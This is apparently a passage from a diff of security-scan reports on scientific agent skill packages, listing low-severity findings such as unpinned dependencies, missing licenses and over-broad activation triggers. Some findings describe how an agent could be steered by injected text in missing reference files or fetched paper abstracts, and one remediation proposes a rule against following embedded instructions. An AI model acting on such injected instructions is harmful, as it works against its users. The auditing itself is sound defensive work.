(e.g., [Python, Bash, Read, Write]) to document intended capabilities and enable agent-level enforcement.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Provenance for neuropixels-analysis Package- > The skill depends on a 'neuropixels-analysis' package (pip install neuropixels-analysis) and imports it as 'npa' throughout all scripts and documentation. However, no PyPI link, GitHub repository, author information, or version is provided for this package. The skill-author is listed as 'K-Dense Inc.' but no verification of the package's origin is possible from the manifest. This creates a supply chain risk if the package name is typosquatted or if the package is not from a trusted source.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Hugging Face Model Downloads (UnitRefine)+ > The skill instructs users to download ML models from Hugging Face using repo IDs like 'SpikeInterface/UnitRefine_noise_neural_classifier' and 'SpikeInterface/UnitRefine_sua_mua_classifier' without pinning to a specific model version/commit hash. If the Hugging Face repository is compromised or the model is updated maliciously, users would automatically receive the malicious model. The skill does note 'only load models from sources you trust' but does not enforce version pinning.> File: `SKILL.md`- > **Remediation:** Add a verified PyPI or GitHub URL for the neuropixels-analysis package in the installation instructions. Pin to a specific version. Consider linking to a checksum or hash for verification.+ > **Remediation:** Pin model downloads to a specific commit hash or version tag using the Hugging Face Hub API (e.g., revision='abc123...'). Document the expected model hash for verification. Add a note about verifying model integrity before use in production pipelines.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Exposure Risk in AI Curation Workflow- > The references/AI_CURATION.md and SKILL.md instruct users to instantiate Anthropic, OpenAI, and Google API clients with api_key parameters passed directly in code. Example code shows 'client = Anthropic(api_key="your-api-key")' and 'client = OpenAI(api_key="your-api-key")'. If users follow these examples literally and hardcode keys in analysis scripts, those keys may be committed to version control or exposed in log output. The skill does not warn against hardcoding credentials.- > File: `references/AI_CURATION.md`- > **Remediation:** Replace hardcoded API key examples with environment variable patterns (e.g., 'api_key=os.environ["ANTHROPIC_API_KEY"]'). Add explicit warnings in documentation against hardcoding credentials in analysis scripts.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Parallel Job Usage (n_jobs=-1)+ > Multiple scripts and the analysis template use n_jobs=-1 as the default, which instructs SpikeInterface to use all available CPU cores. While this is standard practice for scientific computing, it could exhaust system resources on shared or resource-constrained environments. The pipeline also hardcodes n_jobs=8 in several places within neuropixels_pipeline.py without user-configurable limits.+ > File: `scripts/neuropixels_pipeline.py`+ > **Remediation:** Document the resource implications of n_jobs=-1 and n_jobs=8. Consider adding a configurable resource limit parameter and warning users about resource consumption on shared systems.### nextflow — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Activation Triggers in Description- > The skill description contains an extensive list of activation keywords and explicitly instructs the agent to use this skill 'even if the user does not say the word Nextflow' and for 'any reproducible scientific/bioinformatics workflow work'. This broad activation scope could cause the skill to be invoked in contexts where it is not strictly appropriate, potentially displacing other more suitable skills or causing unnecessary activation. The description covers Nextflow, nf-core, .nf files, nextflow.config, DSL2, processes/channels/operators, samplesheets, multiple cloud platforms, HPC systems, and container technologies.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Missing Referenced Files May Allow Substitution with Untrusted Content+ > The skill references numerous files (templates/configuration.md, templates/nf-core-tools.md, templates/containers.md, assets/testing.md, assets/developing.md, assets/containers.md, assets/running-pipelines.md, assets/language.md, templates/developing.md, templates/running-pipelines.md, templates/language.md, assets/configuration.md, templates/testing.md, assets/nf-core-tools.md) that are not present in the skill package. If these files are absent, an attacker who can place files in the expected locations (e.g., by manipulating the file system or through a supply chain attack) could substitute malicious content that the agent would treat as trusted skill instructions. This is a low-severity concern given the local package context, but the missing files represent an incomplete skill package.> File: `SKILL.md`- > **Remediation:** Consider narrowing the activation criteria to more specific Nextflow/nf-core indicators rather than broadly claiming all bioinformatics workflow work. The instruction to activate without the keyword 'Nextflow' is overly broad and could lead to unintended skill activation.+ > **Remediation:** Ensure all referenced files are bundled with the skill package. Remove references to files that do not exist, or add the missing files. Validate the integrity of the skill package before deployment.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — References to Credential and Token Handling in Documentation- > The skill documentation references handling of sensitive credentials and tokens in multiple places, including TOWER_ACCESS_TOKEN for Seqera Platform, AWS credentials for AWS Batch, and Google Cloud credentials. While these are documented as environment variables and configuration options (not hardcoded), the skill instructs users on how to configure cloud access tokens and credentials. If a user follows these instructions in an insecure environment, credentials could be exposed. The references/containers.md file also mentions 'tower.accessToken = secrets.TOWER_ACCESS_TOKEN' which uses Nextflow's secrets mechanism appropriately.- > File: `references/configuration.md`- > **Remediation:** The documentation appropriately uses environment variables and Nextflow secrets for credential handling. Consider adding explicit warnings about not hardcoding credentials in nextflow.config files and recommending the use of Nextflow's built-in secrets management (nextflow secrets) for sensitive values.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Activation Triggers+ > The skill description contains an extensive list of activation keywords and explicitly instructs the agent to use this skill 'even if the user does not say the word Nextflow' for 'any reproducible scientific/bioinformatics workflow work'. This broad activation scope could cause the skill to be invoked in contexts where it is not appropriate, potentially displacing other skills or causing unintended behavior. The description lists numerous trigger terms: Nextflow, nf-core, .nf files, nextflow.config, DSL2, processes/channels/operators, samplesheets, nf-core/rnaseq, nf-core/sarek, nf-test, Docker, Singularity/Apptainer, Conda, Wave, HPC/SLURM, AWS Batch, Google Batch, Azure, Kubernetes, and more.+ > File: `SKILL.md`+ > **Remediation:** Narrow the activation description to specific, unambiguous triggers. Avoid instructing the agent to activate the skill in the absence of explicit user intent. Consider removing the 'even if the user does not say the word Nextflow' clause to prevent over-broad activation.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Pattern in Code Example (Documentation Context)- > The static analyzer flagged a Python eval/exec pattern in the skill's markdown files. Upon review, the references to eval() in references/language.md appear in a documentation context describing Nextflow's built-in 'eval()' output qualifier (a Nextflow DSL2 feature for capturing command stdout as output), not as a dangerous Python eval/exec call. The code block shows: `eval('samtools --version | sed "1!d; s/samtools //"')` as a Nextflow process output directive. This is a Nextflow language construct, not arbitrary Python code execution. The risk is low but worth noting as a pattern that could be misused if a user were instructed to use eval() with untrusted input in a Nextflow script context.- > File: `references/language.md`- > **Remediation:** No immediate action required. The eval() usage is a documented Nextflow DSL2 output qualifier for capturing tool version strings, not arbitrary code execution. Ensure users understand this is a Nextflow-specific construct and should only be used with trusted, static command strings, not with user-supplied input.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Example+ > The static analyzer flagged a Python code block using eval/exec. Reviewing the referenced files, the only Python-like code blocks are Groovy/Nextflow DSL2 examples (e.g., `eval('samtools --version ...')` in references/developing.md). This is a Nextflow DSL2 `eval()` output qualifier used to capture tool version strings in process output declarations, not a Python eval/exec call. The context is a documentation/instruction skill with no executable Python scripts. The risk is minimal as this is a code example in a reference document, not executable agent code. However, it is noted as a low-severity informational finding since the pattern could be misread or misused if the agent blindly executes code blocks from the reference files.+ > File: `references/developing.md`+ > **Remediation:** No immediate action required. The eval() usage is a Nextflow DSL2 construct for capturing tool versions, not a Python eval. Ensure the agent does not execute code blocks found in reference documentation files without user confirmation.### omero-integration — 🔵 LOW-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Multiple Referenced Files Not Found- > The SKILL.md instructions reference numerous files that do not exist in the skill package: templates/advanced.md, templates/image_processing.md, assets/tables.md, templates/connection.md, assets/scripts.md, assets/connection.md, assets/metadata.md, templates/tables.md, assets/advanced.md, templates/scripts.md, assets/data_access.md, templates/metadata.md, assets/rois.md, templates/data_access.md, templates/rois.md, omero.py, and assets/image_processing.md. The missing `omero.py` file is particularly notable as it could be a script file that was intended to be included. If these files were to be populated from external sources at runtime, they could introduce indirect prompt injection risks.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License Information+ > The skill manifest declares 'license: Unknown', indicating no clear licensing terms. This is a minor provenance concern but does not constitute a direct security threat. Combined with the skill-author being 'K-Dense Inc.', the lack of license information reduces transparency about the skill's provenance and terms of use.> File: `SKILL.md`- > **Remediation:** Audit and remove references to non-existent files, or include the missing files in the skill package. Ensure that `omero.py` if intended as a script is included and reviewed for security. Do not allow missing referenced files to be populated from external/untrusted sources at runtime.+ > **Remediation:** Specify a valid open-source license (e.g., MIT, Apache 2.0) in the manifest to improve provenance transparency.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata- > The skill manifest declares license as 'Unknown' and compatibility is not specified. While this is a minor metadata issue, it reduces transparency about the skill's provenance and intended deployment environments. The skill-author is listed as 'K-Dense Inc.' but without a license declaration, users cannot determine the terms under which the skill can be used or redistributed.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata+ > The skill manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill can invoke, and no documented compatibility constraints. The skill instructs use of Python code execution and Bash commands (pip install), so declaring these would improve security posture.> File: `SKILL.md`- > **Remediation:** Add a valid SPDX license identifier (e.g., 'MIT', 'Apache-2.0') and specify compatibility information (e.g., 'Claude.ai, Claude Code, API') in the YAML frontmatter.+ > **Remediation:** Add 'allowed-tools: [Python, Bash]' and appropriate 'compatibility' fields to the SKILL.md manifest to explicitly declare the skill's tool requirements and supported environments.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation- > The installation section specifies `uv pip install omero-py` without a version pin. This means the skill will always install the latest available version of omero-py, which could introduce breaking changes or supply chain risks if the package is compromised or updated with incompatible changes. Additionally, the requirement for 'Zeroc Ice 3.6+' is stated in prose but not enforced in the install command.+ > The skill instructs users to install omero-py without a version pin using 'uv pip install omero-py'. This could expose users to supply chain risks if a malicious version is published or if a breaking/vulnerable version is released. No version constraint is specified.> File: `SKILL.md`- > **Remediation:** Pin the omero-py package to a specific known-good version (e.g., `uv pip install omero-py==5.19.1`) and include zeroc-ice as an explicit dependency with a pinned version. Consider providing a requirements.txt or pyproject.toml with pinned dependencies for reproducible installations.+ > **Remediation:** Specify a pinned or minimum version for the omero-py package, e.g., 'uv pip install omero-py==5.18.0' or at minimum 'uv pip install omero-py>=5.18.0,<6.0.0'. Document the tested/supported version range.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Hardcoded Credentials in Example Code Blocks- > Multiple reference files contain hardcoded credential examples (USERNAME = 'user', PASSWORD = 'pass') in complete example code blocks. While these are clearly placeholder/example values intended for documentation purposes, they establish a pattern that users might replicate with real credentials in scripts. The connection.md file explicitly notes in best practices to use environment variables, but the complete examples still show hardcoded strings.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Hardcoded Credentials in Reference Documentation Examples+ > Multiple reference files contain hardcoded plaintext credentials (USERNAME = 'user', PASSWORD = 'pass') in example code blocks. While these are illustrative examples, the skill's instructions do not warn users against using real credentials in this pattern, and the connection.md file explicitly shows a 'Pattern 1: Simple Script' with hardcoded credentials as a recommended pattern before mentioning environment variables as Pattern 3. This could normalize insecure credential handling practices.> File: `references/connection.md`- > **Remediation:** Replace hardcoded credential examples in all complete example blocks with environment variable patterns (os.environ.get) or configuration file patterns, consistent with the best practices section already documented in connection.md. This reinforces secure credential handling throughout all examples.--- **🔵 LOW** `LLM_COMMAND_INJECTION` — Use of eval/exec in Python Code Blocks- > The static analyzer flagged a potential eval/exec usage in the Python code blocks within the referenced markdown files. Reviewing the content, the code blocks in references/rois.md contain `int.from_bytes(...)` and struct operations, and references/advanced.md contains `int(s, 2)` which converts a binary string to integer. The `int(s, 2)` call in the mask creation helper function (`create_mask_bytes`) in references/rois.md processes a dynamically constructed binary string `s` built from mask byte values. While this is not a direct `eval()` or `exec()` call, the pattern of constructing a string from data and then interpreting it (`int(s, 2)`) could be flagged by static analyzers. In context, this is used for bit-packing mask data and does not represent a direct code injection risk since the input is derived from numpy array bytes, not user-supplied strings.- > File: `references/rois.md`- > **Remediation:** Replace the string-based bit manipulation with direct bitwise operations using numpy or struct, which avoids any string-to-integer interpretation pattern. For example, use numpy's packbits function: `np.packbits(mask_array.astype(np.uint8))` which is cleaner and avoids the flagged pattern entirely.+ > **Remediation:** Reorder the connection patterns so that environment variables (Pattern 3) or config-based connection (Pattern 2) are presented as the primary recommended approach. Add explicit warnings that hardcoded credentials should never be used in production code. The 'Best Practices' section does mention this but it should be more prominent.### opentrons-integration — 🔵 LOW-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer Flag: eval/exec in Python Code Block- > The static pre-scan flagged a Python code block containing eval/exec usage. Upon review of the provided script files, no direct eval() or exec() calls with user-controlled input were found in the actual script files. The flag may relate to documentation examples in the markdown. This is noted as informational since no exploitable instance was confirmed in the reviewed code.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer Flag: eval/exec Pattern in Python Code Blocks+ > The static pre-scan flagged a MDBLOCK_PYTHON_EVAL_EXEC finding. After manual review of all Python code blocks in SKILL.md and the script files, no actual use of eval() or exec() with user-controlled input was found. The flag may be a false positive triggered by documentation examples. However, the skill instructs the agent to write and execute Python protocols, and if user-supplied protocol code is executed without sandboxing, arbitrary code execution is possible in the broader agent workflow.> File: `SKILL.md`- > **Remediation:** Review all Python code blocks in SKILL.md and script files to confirm no eval/exec calls accept unsanitized user input. If present in documentation examples, add a warning note.+ > **Remediation:** Ensure that any agent-generated Python protocol code is reviewed before execution. Avoid passing unsanitized user input directly into protocol parameters (volumes, filenames, well names) without validation.- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License Information- > The skill manifest does not specify a license. While this is a minor issue, it represents incomplete metadata that could affect trust assessment of the skill package.+ > The skill manifest lists license as 'Unknown'. For a skill that executes Python code on physical laboratory hardware (OT-2/Flex robots), missing provenance information (license, verified authorship) reduces auditability and trust assessment. The skill-author is listed as 'K-Dense Inc.' but no license is declared.> File: `SKILL.md`- > **Remediation:** Add a proper license field to the YAML frontmatter (e.g., 'license: MIT' or 'license: Apache-2.0').+ > **Remediation:** Specify a valid open-source license (e.g., MIT, Apache 2.0) in the manifest to establish clear provenance and usage rights.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Referenced Files Not Found- > The SKILL.md references several files that do not exist in the skill package: 'templates/api_reference.md', 'opentrons.py', and 'assets/api_reference.md'. Missing referenced files could indicate incomplete packaging or could cause the agent to attempt to locate these files from unexpected external sources.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md YAML frontmatter does not declare an `allowed-tools` field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill may invoke. The skill executes Python scripts that interact with hardware modules, making explicit tool declarations a useful security boundary.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to non-existent files from the instructions.+ > **Remediation:** Add an explicit `allowed-tools` field to the YAML frontmatter listing only the tools required (e.g., Python). This improves transparency and limits unintended tool usage.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in the YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools this skill can use. The skill executes Python code and reads files, so declaring allowed tools would improve transparency.- > File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter, e.g., 'allowed-tools: [Python, Read]', to document the intended tool usage scope.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Bundled Data File Access Pattern Without Input Validation+ > The references/api_reference.md file documents a pattern for accessing bundled data files using `protocol.bundled_data['data.csv']` followed by opening the file. While this is a legitimate Opentrons API feature, if user-controlled filenames are passed to this pattern without validation, it could expose arbitrary files. The skill itself does not implement this pattern maliciously, but the documentation example lacks any guidance on input sanitization.+ > File: `references/api_reference.md`+ > **Remediation:** Add documentation noting that file paths derived from user input should be validated before use. Restrict file access to known, expected filenames within the bundled data context.### optimize-for-gpu — 🔵 LOW- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license or compatibility field. While this is a LOW severity informational finding, the absence of provenance metadata (license) makes it harder to assess the trustworthiness and intended scope of the skill package.+ > The skill manifest does not specify a license or compatibility field. While this is a minor informational issue, the absence of provenance metadata (license) makes it harder to assess the trustworthiness and intended scope of the skill package.> File: `SKILL.md`- > **Remediation:** Add a license field (e.g., 'license: MIT') and a compatibility field to the YAML frontmatter to improve transparency and provenance.--- **🔵 LOW** `LLM_PROMPT_INJECTION` — Instruction to Read and Execute Content from Reference Files Before Writing Code- > The SKILL.md instructions direct the agent to 'Read the specific reference before writing code' from a large set of internal reference files (references/cupy.md, references/numba.md, etc.). While these are internal skill package files (not external URLs), many of the referenced files do not exist in the package (e.g., templates/cuxfilter.md, assets/kvikio.md, scipy.py, cucim.py, etc.). If any of these missing files were to be created by a malicious actor or substituted, the agent would read and follow their instructions. The pattern of reading files and then acting on their content creates a transitive trust surface.- > File: `SKILL.md`- > **Remediation:** Audit and remove references to non-existent files. Ensure all referenced files are present in the skill package. Consider validating file contents before acting on them, especially for files in 'templates/' and 'assets/' directories that are currently missing.+ > **Remediation:** Add license and compatibility fields to the YAML frontmatter to improve transparency and provenance tracking.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Triggers in Skill Description- > The skill description is extremely broad, claiming to activate not only when users explicitly request GPU acceleration but also 'when you see CPU-bound Python code (loops, large arrays, ML pipelines, graph analytics, image processing) that would benefit from GPU acceleration, even if not explicitly requested.' This proactive, unsolicited activation pattern means the skill may inject itself into conversations where the user has not asked for GPU optimization, potentially overriding user intent or displacing other skills.- > File: `SKILL.md`- > **Remediation:** Restrict activation triggers to explicit user requests for GPU/CUDA acceleration. Remove the 'even if not explicitly requested' clause to prevent unsolicited skill activation.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Versions in Installation Instructions- > All installation instructions use unpinned package names (e.g., 'uv add cupy-cuda12x', 'uv add warp-lang', 'uv add --extra-index-url=https://pypi.nvidia.com cudf-cu12'). Without version pins, the skill could inadvertently install a compromised or breaking version of a dependency if a package is updated or if a typosquatting/supply-chain attack targets these packages on PyPI or the NVIDIA index.+ > The skill description is extremely broad, claiming to activate for a very wide range of scenarios including any 'CPU-bound Python code (loops, large arrays, ML pipelines, graph analytics, image processing) that would benefit from GPU acceleration, even if not explicitly requested.' This over-broad activation language could cause the skill to be invoked in many situations where it may not be appropriate, and the phrase 'even if not explicitly requested' is a form of activation priority manipulation.> File: `SKILL.md`- > **Remediation:** Pin package versions in installation instructions (e.g., 'uv add cupy-cuda12x==13.x.x'). At minimum, document recommended version ranges. Also note that the NVIDIA extra index URL (https://pypi.nvidia.com) is a non-default index which should be verified as trustworthy by the user.+ > **Remediation:** Narrow the activation criteria to cases where the user explicitly requests GPU acceleration or CUDA optimization, rather than having the skill self-activate based on its own judgment about what 'would benefit' from GPU acceleration.### paper-lookup — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Keys Loaded from Environment and .env Files- > The skill instructs the agent to load API keys from environment variables (NCBI_API_KEY, CORE_API_KEY, S2_API_KEY, OPENALEX_API_KEY) and fall back to a .env file in the current working directory. While this is a common and generally acceptable pattern, it means the agent will automatically read potentially sensitive credentials from the environment and local files without explicit user confirmation for each key access. The skill also instructs the agent to 'tell the user which key is missing' which could inadvertently reveal which credentials are present or absent.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Exposure via Environment Variable Harvesting+ > The skill instructs the agent to read API keys from environment variables (NCBI_API_KEY, CORE_API_KEY, S2_API_KEY, OPENALEX_API_KEY) and fall back to reading a .env file in the current working directory. While this is a common pattern, the instruction to read .env files from the working directory could expose secrets if the agent is operating in a directory containing sensitive credentials beyond the intended API keys.> File: `SKILL.md`- > **Remediation:** Document clearly that credential access occurs. Consider prompting the user before accessing .env files. Avoid disclosing which specific keys are present or absent in user-facing messages.+ > **Remediation:** Limit .env file reading to a specific, well-defined path. Consider documenting that the agent should only read the specific named keys and not enumerate all environment variables or .env contents.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via External API Responses- > The skill instructs the agent to return 'raw JSON' responses from external academic databases directly to the user and to the conversation context. Academic paper titles, abstracts, and metadata are user-generated content from external sources that could contain embedded prompt injection payloads. By instructing the agent to present raw API responses without sanitization, malicious content in paper titles or abstracts could attempt to manipulate the agent's behavior. The instruction 'default to showing the full raw JSON' increases this risk.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via Raw API Response Display+ > The skill instructs the agent to return the 'raw JSON' response from external academic databases directly to the user without sanitization. Academic paper abstracts, titles, and metadata could contain adversarially crafted text designed to manipulate the agent's subsequent behavior. The instruction 'default to showing the full raw JSON -- the user asked for it' increases this risk by discouraging any filtering.> File: `SKILL.md`- > **Remediation:** Consider parsing and presenting structured fields rather than raw JSON blobs. Apply output sanitization or at minimum warn users that raw API content is being displayed. Avoid instructing the agent to blindly trust and relay external content.+ > **Remediation:** Consider noting that raw API responses should be treated as untrusted data and displayed as literal text/code blocks rather than interpreted as instructions. Add a note that the agent should not follow any instructions embedded in paper titles, abstracts, or metadata fields.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Keyword Baiting in Description- > The skill description contains an extensive list of trigger keywords and use cases ('Triggers on mentions of any supported database or requests like "find papers on X" or "look up this DOI"'). This is a form of keyword baiting designed to maximize activation frequency. While the skill's actual functionality appears to match the described capabilities, the explicit enumeration of trigger phrases in the description is a discovery/activation abuse pattern that could cause the skill to be invoked more broadly than necessary.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Parallel Database Querying Without Rate Limit Coordination+ > The skill instructs the agent to query multiple databases in parallel for cross-database queries ('query the relevant databases in parallel'), while also specifying per-database rate limits. For cross-database queries hitting all 10 databases simultaneously, this could result in significant resource consumption and potential rate-limit violations across multiple external services. The retry-on-429 instruction ('wait briefly and retry once') combined with parallel queries could amplify this.> File: `SKILL.md`- > **Remediation:** Remove explicit trigger phrase enumeration from the description. Describe capabilities factually without listing activation keywords designed to maximize invocation frequency.+ > **Remediation:** Add guidance to limit the number of simultaneous parallel requests and implement coordinated rate limiting across databases. Consider sequential querying for broad cross-database searches.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing Reference Files May Cause Undefined Behavior- > The skill references numerous files in templates/ and assets/ subdirectories (e.g., templates/crossref.md, assets/pubmed.md, templates/pmc.md, etc.) that are not found in the package. The instructions explicitly state 'Read the relevant reference file before making any API call.' When these files are missing, the agent may proceed without proper guidance, potentially making malformed API calls, or may be susceptible to confusion about which endpoints and parameters to use. This is a package integrity issue.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description with Keyword Baiting+ > The skill description is heavily loaded with trigger keywords designed to maximize activation across a wide range of user queries. The description explicitly states 'Triggers on mentions of any supported database or requests like "find papers on X" or "look up this DOI"', which is an explicit activation manipulation directive. While the skill does appear to legitimately cover these databases, the explicit trigger-baiting language in the description is a protocol manipulation pattern.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package. Audit the file manifest and add missing reference and template files, or remove references to non-existent files from the instructions.+ > **Remediation:** Remove explicit trigger-baiting language from the description. Describe capabilities factually without embedding activation instructions in the manifest description field.-### pathway-enrichment — 🔵 LOW+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Email Address Exposure in API Requests+ > The skill instructs the agent to include a real email address in API requests to Crossref and Unpaywall for polite pool access. The instructions note 'Unpaywall rejects placeholder emails like [email protected] with HTTP 422', implying a real user email must be used. This could expose the user's email address to third-party academic database operators without explicit user consent or awareness.+ > File: `references/unpaywall.md`+ > **Remediation:** Explicitly prompt the user to provide their email address before making requests to Crossref/Unpaywall, rather than potentially using a stored or inferred email. Document clearly that the email will be sent to third-party services.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Network Access to External APIs Without User Confirmation- > The skill makes outbound network calls to Enrichr (maayanlab.cloud), g:Profiler (biit.cs.ut.ee), and MSigDB (gsea-msigdb.org) as part of its core workflow. While this is expected and documented behavior for an enrichment analysis skill, users should be aware that gene lists (which may contain proprietary or sensitive research data) are transmitted to third-party servers. The skill does not warn users about this data transmission.- > **Remediation:** Add a user-facing notice in the skill instructions that gene lists are sent to external APIs (Enrichr, g:Profiler, MSigDB). Recommend the offline gp.enrich() path with local GMT files for sensitive/proprietary gene lists. This is already partially addressed by the offline option mentioned in the docs, but should be more prominently surfaced.+### pathway-enrichment — 🔵 LOW- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies- > The skill instructs installation of gseapy and gprofiler-official without version pins (uv pip install gseapy gprofiler-official). This exposes the environment to supply chain risk if a malicious or breaking version is published to PyPI. The skill also references mygene as an optional dependency without any version specification.+ > The setup instructions use 'uv pip install gseapy gprofiler-official' without version pins. This means the skill will install whatever the latest version is at runtime, which could introduce breaking changes or, in a supply chain attack scenario, a compromised package version. The gseapy and gprofiler-official packages are legitimate and widely used, but unpinned installs are a supply chain hygiene concern.> File: `SKILL.md`- > **Remediation:** Pin dependencies to known-good versions, e.g.: uv pip install 'gseapy==1.1.3' 'gprofiler-official==1.0.0'. Consider providing a requirements.txt or pyproject.toml with pinned versions in the skill package.+ > **Remediation:** Pin dependencies to known-good versions, e.g., 'uv pip install gseapy==1.1.3 gprofiler-official==1.0.0'. Document the tested versions in the skill manifest or a requirements.txt file.- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer False Positives: eval/exec Flags in Documentation Code Blocks- > The static pre-scan flagged multiple MDBLOCK_PYTHON_EVAL_EXEC findings across the markdown reference files. Upon manual review, none of the Python code blocks in SKILL.md, references/gseapy.md, references/interpretation.md, or references/databases-and-gene-sets.md contain actual eval() or exec() calls. The flags appear to be false positives triggered by code patterns in documentation examples (e.g., pandas operations, gseapy API calls). No genuine command injection risk exists in the current code.- > File: `references/databases-and-gene-sets.md`- > **Remediation:** No action required for the false positives. As a best practice, if future script versions accept user-supplied gene-set names or file paths, validate and sanitize those inputs before passing them to subprocess or shell calls.+ > The static pre-scan flagged multiple MDBLOCK_PYTHON_EVAL_EXEC findings across the skill's markdown files. Upon manual review, none of the actual Python code in SKILL.md, scripts/run_enrichment.py, references/gseapy.md, references/interpretation.md, or references/databases-and-gene-sets.md contains calls to eval(), exec(), os.system(), or subprocess with unsanitized user input. The flags appear to be false positives triggered by documentation text that mentions these functions in a descriptive/warning context (e.g., troubleshooting sections). No actual command injection vectors were identified in the executable script.+ > File: `scripts/run_enrichment.py`+ > **Remediation:** No action required. The static analyzer flags are false positives. Confirm by grepping the actual script for eval/exec to verify absence.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Network Calls to External APIs Without User Confirmation+ > The skill makes outbound network calls to Enrichr (maayanlab.cloud), g:Profiler (biit.cs.ut.ee), and MSigDB (gsea-msigdb.org) as part of its core functionality. These are well-known, legitimate bioinformatics services and the behavior is clearly documented. However, the skill does not explicitly inform the user before making these calls or provide a fully offline mode by default. User gene lists (potentially containing proprietary research data) are transmitted to these external APIs.+ > File: `scripts/run_enrichment.py`+ > **Remediation:** The SKILL.md already documents network requirements and mentions offline alternatives (gp.enrich() with local GMT). Consider adding an explicit user-facing notice that gene lists will be sent to external APIs, and prominently surface the offline gp.enrich() path for users with proprietary data.### pdf — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Proprietary License Without Distribution Terms- > The skill declares a 'Proprietary' license referencing LICENSE.txt, but no license file is included in the analyzed package. This creates ambiguity about usage rights and could indicate incomplete provenance disclosure.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer Flagged eval/exec Patterns in Markdown Code Blocks+ > The static pre-scan flagged multiple instances of MDBLOCK_PYTHON_EVAL_EXEC in the skill. Upon review, the SKILL.md code examples use standard library calls (e.g., pdfplumber, pypdf) and do not appear to contain actual eval/exec calls in the visible code. However, the referenced files forms.md and reference.md are not included in the analysis, and may contain code blocks with eval/exec patterns that could pose injection risks if the agent executes them.> File: `SKILL.md`- > **Remediation:** Include the LICENSE.txt file in the skill package, or use a standard open-source license identifier.+ > **Remediation:** Review forms.md and reference.md for any eval/exec usage. Avoid using eval/exec in any code blocks within skill instructions. If dynamic code execution is needed, use safer alternatives.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Referenced Files Not Found in Package- > The SKILL.md references external guidance files (forms.md, reference.md) that are not present in the analyzed package. If these files are fetched from external sources at runtime, they could contain malicious instructions. If they are simply missing from the package, the skill will fail to function correctly for form-filling and advanced operations.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Proprietary License Without Full Terms Bundled+ > The manifest declares 'Proprietary. LICENSE.txt has complete terms' but no LICENSE.txt file is present in the analyzed package. This is a minor provenance/transparency concern, though not a direct security threat.> File: `SKILL.md`- > **Remediation:** Ensure forms.md and reference.md are bundled within the skill package. Do not fetch instruction files from external URLs at runtime. Validate that all referenced files exist before deployment.+ > **Remediation:** Ensure LICENSE.txt is bundled with the skill package so users can review the terms under which the skill operates.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description Triggers Excessive Activation- > The skill description is extremely broad, claiming to handle 'anything with PDF files' and instructing the agent to activate whenever a user 'mentions a .pdf file or asks to produce one.' This over-broad activation trigger could cause the skill to be invoked in contexts where simpler, safer handling would suffice, and may crowd out other skills or tools.+ > The skill description is extremely broad: 'Use this skill whenever the user wants to do anything with PDF files... If the user mentions a .pdf file or asks to produce one, use this skill.' This maximally broad activation trigger could cause the skill to be invoked for any mention of PDFs, even in contexts where it is not appropriate, and could 